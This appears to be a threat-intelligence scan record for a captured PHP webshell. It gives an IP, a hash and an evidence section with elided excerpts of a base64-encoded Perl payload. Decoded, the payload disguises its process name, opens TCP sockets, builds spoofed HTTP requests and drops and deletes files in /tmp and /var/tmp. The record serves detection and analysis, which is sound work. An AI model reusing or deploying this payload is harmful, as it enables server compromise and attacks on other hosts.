87.106.242.16WjPLrzyjMixMC240GgLqBAAAAAo.wso.scans
PHP webshell with encoded payload
php webshell containing base64 encoded payloadRaw HTTP safe request line
SHA-2564f512c5aa5b9f104dead4434cc0cb8aba2c80d7b302b4f1c86b6eda5943c18d0
MaleculeH₂(Cm₂Db)MdTh
Evidence
1<?php
2 $s=base64_decode("IyEvdXNyL2Jpbi9wZXJsCnVzZSBzdHJpY3Q7IHVzZSBJTzo6U29ja2V0OyB1c2UgSU86OlNlbGVj
3dDsgbXkgQGZwcyA9ICgiZXhpbSIsICJiYXNoIiwgInByb2MiKTsgbXkgJG5wcyA9ICRmcHNbaW50
4IHJhbmQgc2NhbGFyIEBmcHNdOyAkMCA9ICRucHM7ICR8ID0gMTsKbXkgJGV3YmxvY2sgPSAxMTsg
⋯5 lines
39:15… B7fTsKbXkgJGZsYWdzZXQgPSB7dGltZW91dCA9PiAxfTsKbXkgJGNhY2hlID0g
40e307Cm15ICRyZXNldF90aW1lID0gdGltZTsKbXkgJHJlc2V0X3dhaXQgPSAxMjA7Cm15ICRyZXNl
41dF9zdGF0ID0gMDsKbXkgJGZpcnN0X2V4ZWMgPSAxOwpteSAkcmVxdWVzdF90aW1lID0gdGltZTsK
42bXkgJHJlcXVlc3RfZmxhZyA9IDE7Cm15ICRjb3VudGVyX2FkZHIgPSAwOwpteSAkZGVzdHJveSA9
43IHN1Ygp7Cm15ICgkb2JqZWN0LCAkaGFuZGxlKSA9IEBfOwppZiAoJHNlc3Npb24tPnskaGFuZGxl
44fXtzdGF0dXN9ID1+IC9ecnMvKQp7CiRyZXF1ZXN0X2ZsYWcgPSAxOwp9 …
68:15… NvY2tldCA9IElPOjpTb2NrZXQ6OklORVQtPm5ldyhQcm90byA9PiAidGNwIiwg
69VHlwZSA9PiBTT0NLX1NUUkVBTSk7Cmxhc3QgdW5sZXNzICRzb2NrZXQ7CmlmICgkXk8gZXEgIk1T
70V2luMzIiKSB7IGlvY3RsICgkc29ja2V0LCAweDgwMDQ2NjdlLCBwYWNrICgiTCIsIDEpKTsgfSBl
71bHNlIHsgJHNvY2tldC0+YmxvY2tpbmcoMCk7IH0KdW5sZXNz …
604:15… V0fXtidWZmZXJ9KSwgJHNlc3Npb24tPnskc29ja2V0fXtidWZmZXJ9KSBpZiAk
605cHJvdG9jb2wgZXEgInRjcCI7Cn0KZWxzaWYgKCRwb3J0ID09IDgwKQp7CiRzZXNzaW9uLT57JHNv
606Y2tldH17YnVmZmVyfSA9IGpvaW4gKCJceDBEXHgwQSIsICJHRVQgLyBIVFRQLzEuMSIsICJBY2Nl
607cHQ6IGltYWdlL2dpZiwgaW1hZ2UveC14Yml0bWFwLCBpbWFnZS9qcGVnLCBpbWFnZS9wanBlZywg
608Ki8qIiwgIlVzZXItQWdlbnQ6IE1vemlsbGEvNC4wIChjb21wYXRpYmxlOyBNU0lFIDYuMDsgV2lu
609ZG93cyBOVCA1LjEpIiwgIkhvc3Q6ICRob3N0IiwgIkNvbm5lY3Rpb246IGNsb3NlIiwgIkNhY2hl
610LUNvbnRyb2w6IG5v …
920:19… ByYW5kIDUpKV0pOwpteSAkdWJkcnAgPSAnbXkgJCcgLiAkcmZuYW1lIC4g
921JzskJyAuICRyZm5hbWUgLiAnLj0kXyB3aGlsZSg8REFUQT4pOyc7CiR1YmRycCAuPSAnZXZhbCh1
922bnBhY2soXCd1KlwnLCQnIC4gJHJmbmFtZSAuICcpKTsnIC4gIlx4MEEiOwokdWJkcnAgLj0gJ19f
923REFUQV9fJyAuICJceDBBIjsKJHViZHJwIC49ICRiZHJwOyAkYmRycCA9ICR1YmRycDsKZm9yZWFj
924aCBteSAkYmRycHAgKCIvdmFyL3RtcCIsICIvdG1wIikgeyBmb3IgKDwkYmRycHAvKj4pIHsgdW5s
925aW5rICRfIGlmICgtZ …